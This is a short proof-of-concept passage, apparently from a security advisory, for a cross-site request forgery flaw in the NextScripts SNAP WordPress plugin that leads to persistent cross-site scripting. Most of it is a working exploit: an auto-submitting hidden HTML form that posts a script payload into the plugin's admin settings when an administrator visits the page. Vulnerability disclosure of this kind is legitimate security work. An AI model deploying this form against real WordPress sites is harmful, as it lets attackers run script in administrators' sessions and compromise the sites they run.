Proof of Concept |
If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.
<form id="form" method="POST" action="http://localhost/wp-admin/options-general.php?page=NextScripts_SNAP.php">
<input type="hidden" name="nxsMainFromElementAccts" value="wp[0][nName]=<script>alert(1)</script>&wp[0][apWPURL]=&wp[0][apWPUName]=1&wp[0][apWPPass]=1&wp[0][apDoWP]=1&wp[0][apWPMsgTFrmt]=&wp[0][apWPMsgFrmt]="/>
</form>
<script>
document.getElementById("form").submit();
</script>
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